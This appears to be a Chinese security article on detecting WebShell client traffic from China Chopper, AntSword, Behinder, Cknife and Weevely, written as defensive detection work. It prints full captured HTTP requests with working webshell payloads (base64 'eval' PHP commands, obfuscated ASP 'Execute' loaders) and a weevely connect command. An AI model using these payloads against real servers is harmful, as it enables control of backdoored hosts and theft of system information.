什么是WebShell客户端? 答:首先,提供服务的就是服务端,要求被服务的就是客户端。如果已经种了后门,用于连接后门的程序是要求被服务的,比如执行ps,目的是为了得到后门所在主机的进程列表,是“被服务的”,所以称之为客户端。本文将后续介绍一系列有关WebShell客户端流量检测手法。
WebShell客户端是一种用于服务器上的WebShell后门与攻击客户端之间的通信程序,我们通常可以根据WebShell客户端的流量来判断服务器上是否存在WebShell后门。
常见的WebShell客户端有以下几种:
中国菜刀:使用量最大,适用范围最广的WebShell客户端。 蚁剑:一种常见的WebShell客户端。 冰蝎:流量加密客户端 Cknife:(C刀,适用Java语言编写) Weevely(Kali中的中国菜刀)
接下来聊聊他们的流量特征:
中国菜刀基本支持PHP,JSP,ASP这三种WebShell的连接,这三种语言所对应的流量各有差异,各个版本也各有不同。2011版和2014版菜刀的流量特征基本一致,所以放在一起讲。
POST /webshell.php HTTP1.1
Cache-Control:no-cache
X-Forwarded-For:40.83.114.51
Referer:http://192.168.180.222
Content-Type:application/x-www-form-urlencode
User-Agent:Mozilia/4.0(complate;MISE 6.0;Windows NT 5.1)
HOST:192.168.180.222
Content-Length:685
Connection:Close
=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D
首先对其进行url解码得到:
@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw==
第一:“eval”,eval函数用于执行传递的攻击payload,这是必不可少的;第二:**(base64_decode(_POST[z0]))**,(base64_decode(_POST[z0]))将攻击payload进行Base64解码,因为菜刀默认是将攻击载荷使用Base64编码,以避免被检测;第三:&z0=QGluaV9zZXQ...,该部分是传递攻击payload,此参数z0对应
1.有少数时候eval方法会被assert方法替代。2._POST也会被_GET、
再进行base64解码得到:
POST /muma.jsp HTTP/1.1
Cache-Control: no-cache
X-Forwarded-For: 213.225.150.214
Referer: http://192.200.41.103
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: 192.200.41.103:8090
Content-Length: 13
Connection: Close
i=A&z0=GB2312
该流量是Webshell链接流量的的第一种链接流量,其中特征主要在最后面:
i=A&z0=GB2312 菜刀链接JSP木马时,第一个参数定义操作,其中参数值为A-Q,如i=A,第二个参数指定编码,其参数值为编码,如z0=GB2312,有时候z0后面还会接着又z1=参数来加入攻击载荷。当然这些参数是会变得,但是参数值并不会变,还有就是第一个参数值也是不会变的。
POST /server.asp HTTP/1.1
Cache-Control: no-cache
X-Forwarded-For: 177.169.197.49
Referer: http://192.168.180.226
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: 192.168.180.226
Content-Length: 968
Connection: Close
caidao=Execute("Execute(""On+Error+Resume+Next:Function+bd%28byVal+s%29%3AFor+i%3D1+To+Len%28s%29+Step+2%3Ac%3DMid%28s%2Ci%2C2%29%3AIf+IsNumeric%28Mid%28s%2Ci%2C1%29%29+Then%3AExecute%28%22%22%22%22bd%3Dbd%26chr%28%26H%22%22%22%22%26c%26%22%22%22%22%29%22%22%22%22%29%3AElse%3AExecute%28%22%22%22%22bd%3Dbd%26chr%28%26H%22%22%22%22%26c%26Mid%28s%2Ci%2B2%2C2%29%26%22%22%22%22%29%22%22%22%22%29%3Ai%3Di%2B2%3AEnd+If%22%22%26chr%2810%29%26%22%22Next%3AEnd+Function:Response.Write(""""->|""""):Execute(""""On+Error+Resume+Next:""""%26bd(""""44696D20533A533D5365727665722E4D61707061746828222E2229266368722839293A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A4572722E436C6561723A456C73653A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329"""")):Response.Write(""""|<-""""):Response.End"")")
进行URL解码之后:
caidao=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""44696D20533A533D5365727665722E4D61707061746828222E2229266368722839293A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A4572722E436C6561723A456C73653A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329"""")):Response.Write(""""|<-""""):Response.End"")")
特征有三如下:
1."Execute"Execute函数用于执行传递的攻击payload,这是必不可少的,这个等同于php类中eval函数; 2.:OnError ResumeNext,这部分是大部分ASP客户端中必有的流量,能保证不管前面出任何错,继续执行以下代码。 3.:Response.Write和Response.End是必有的,是来完善整个操作的。
这种流量主要识别这几部分特征,在正常流量中基本没有。
注:OnError Resume Next这个特征在大部分流量中存在,极少数情况没有。
2016版本的变化在于body部分字符被unicode编码替换混淆,所以这种特征需要提取出一种形式来,匹配这个混淆特征,比如:
"字符%u0000+字符+%u0000"
或者直接将这部分代码直接进行unicode解码,可以获取到如2011或2014版本ASP所示的流量,可以根据上一段特征来进行判断。
蚁剑的很多源码来自菜刀,所以链接流量特征与中国菜刀很相似,但是蚁剑的扩充性很好可以对进行加密,混淆等绕过处理。蚁剑默认支持ASP以及PHP的webshell链接。
POST /uploadfiles/shell.php HTTP/1.1
Host: 192.168.180.226
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 889
Connection: close
cmd=%40ini_set%28%22display_errors%22%2C%20%220%22%29%3B%40set_time_limit%280%29%3Becho%20%225434f%22%3Btry%7B%24D%3Ddirname%28%24_SERVER%5B%22SCRIPT_FILENAME%22%5D%29%3Bif%28%24D%3D%3D%22%22%29%24D%3Ddirname%28%24_SERVER%5B%22PATH_TRANSLATED%22%5D%29%3B%24R%3D%22%7B%24D%7D%09%22%3Bif%28substr%28%24D%2C0%2C1%29%21%3D%22%2F%22%29%7Bforeach%28range%28%22C%22%2C%22Z%22%29as%20%24L%29if%28is_dir%28%22%7B%24L%7D%3A%22%29%29%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D%28function_exists%28%22posix_getegid%22%29%29%3F%40posix_getpwuid%28%40posix_geteuid%28%29%29%3A%22%22%3B%24s%3D%28%24u%29%3F%24u%5B%22name%22%5D%3A%40get_current_user%28%29%3B%24R.%3Dphp_uname%28%29%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch%28Exception%20%24e%29%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage%28%29%3B%7D%3Becho%20%220a5f4%22%3Bdie%28%29%3B
对流量进行URL解码得到:
其中流量最明显的特征为:
@ini_set("display_errors","0");
这段代码基本是所有WebShell客户端链接PHP类WebShell都有的一段代码,但是别的会加密,但是蚁剑是明文,所以较好区分。
POST /uploadfiles/shell.php HTTP/1.1
Host: 192.168.180.226
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 1248
Connection: close
cmd=eval%28%22Ex%22%26cHr%28101%29%26%22cute%28%22%22Server.ScriptTimeout%3D3600%3AOn%20Error%20Resume%20Next%3AFunction%20bd%28byVal%20s%29%3AFor%20i%3D1%20To%20Len%28s%29%20Step%202%3Ac%3DMid%28s%2Ci%2C2%29%3AIf%20IsNumeric%28Mid%28s%2Ci%2C1%29%29%20Then%3AExecute%28%22%22%22%22bd%3Dbd%26chr%28%26H%22%22%22%22%26c%26%22%22%22%22%29%22%22%22%22%29%3AElse%3AExecute%28%22%22%22%22bd%3Dbd%26chr%28%26H%22%22%22%22%26c%26Mid%28s%2Ci%2B2%2C2%29%26%22%22%22%22%29%22%22%22%22%29%3Ai%3Di%2B2%3AEnd%20If%22%22%26chr%2810%29%26%22%22Next%3AEnd%20Function%3AResponse.Write%28%22%22%22%22a6bbf%22%22%22%22%29%3AEx%22%26cHr%28101%29%26%22cute%28%22%22%22%22On%20Error%20Resume%20Next%3A%22%22%22%22%26bd%28%22%22%22%2244696D20533A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A533D5365727665722E4D61707061746828222E2229266368722839293A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329%22%22%22%22%29%29%3AResponse.Write%28%22%22%22%226a525%22%22%22%22%29%3AResponse.End%22%22%29%22%29
其中body流量进行url解码为:
cmd=eval("Ex"&cHr(101)&"cute(""Server.ScriptTimeout=3600:On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""a6bbf""""):Ex"&cHr(101)&"cute(""""On Error Resume Next:""""&bd(""""44696D20533A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A533D5365727665722E4D61707061746828222E2229266368722839293A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329"""")):Response.Write(""""6a525""""):Response.End"")")
蚁剑针对ASP类的WebShell流量与菜刀的流量很像,其中特征也是相同,如OnError ResumeNext、Response.End、Response.Write,其中execute在蚁剑中被打断混淆了,变成了拼接形式Ex"&cHr(101)&"cute,同时该流量中也使用了eval参数,可以被认为明显特征。
由于蚁剑包含了很多加密,绕过插件,所以导致很多流量被加密后无法识别,但是蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以:"_0x......="这种形式
所以,以0_x开头的参数名,后面为加密数据的数据包也可以识别为蚁剑的流量特征。
冰蝎和前两者的区别就是可以进行动态流量加密,且加密密钥是由使用者来设定,但是该拦截器对WebShell的需求比较高,无法连接一句话木马,综上,该客户端的流量无法检测。
Cnife流量的特征就是body部分的参数均为base64编码,将该部分进行base64解码之后,其流量特征同中国菜刀,这里就不展开再说。
weevely http:192.168.xxx.xxx:9923/uploads/hack.php 1
Weevely是kali中自带的一款功能强大的WebShell客户端。该链接首先自己生成webshell,在该webshell上传至目标服务器之后,通过weevely进行链接,该链接属于加密流量,但是在该流量中还是可以发现特征,进行区分。
GET /1.php HTTP/1.1
Accept-Encoding: identity
Accept-Language: yi-YI,pi;q=0.4,ps;q=0.6
Connection: close
Accept: text/html,text/plain;0.9,application/xml;0.8,application/xhtml+xml;0.6,/
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 GTB7.1
Host: 192.168.180.226
Cookie: PHPSESSID=bbc97776857c779ad2f37d78b0b9064f
Referer: http://www.google.com.uy/url?sa=t&rct=j&source=web&cd=572&ved=DfoNma8EW&url=168.180&ei=wMe1ch8itcFEwSremerALK&usg=1IssmLxJeA7JpizoopzuJyD7NUDEzAqMzr
该流量中的攻击载荷存在于Referer中,其中Referer中的路径php的查询参数有以下参数名或值。
即sa= source=web cd=数字 url= ei= 即可确定该流量是weevely。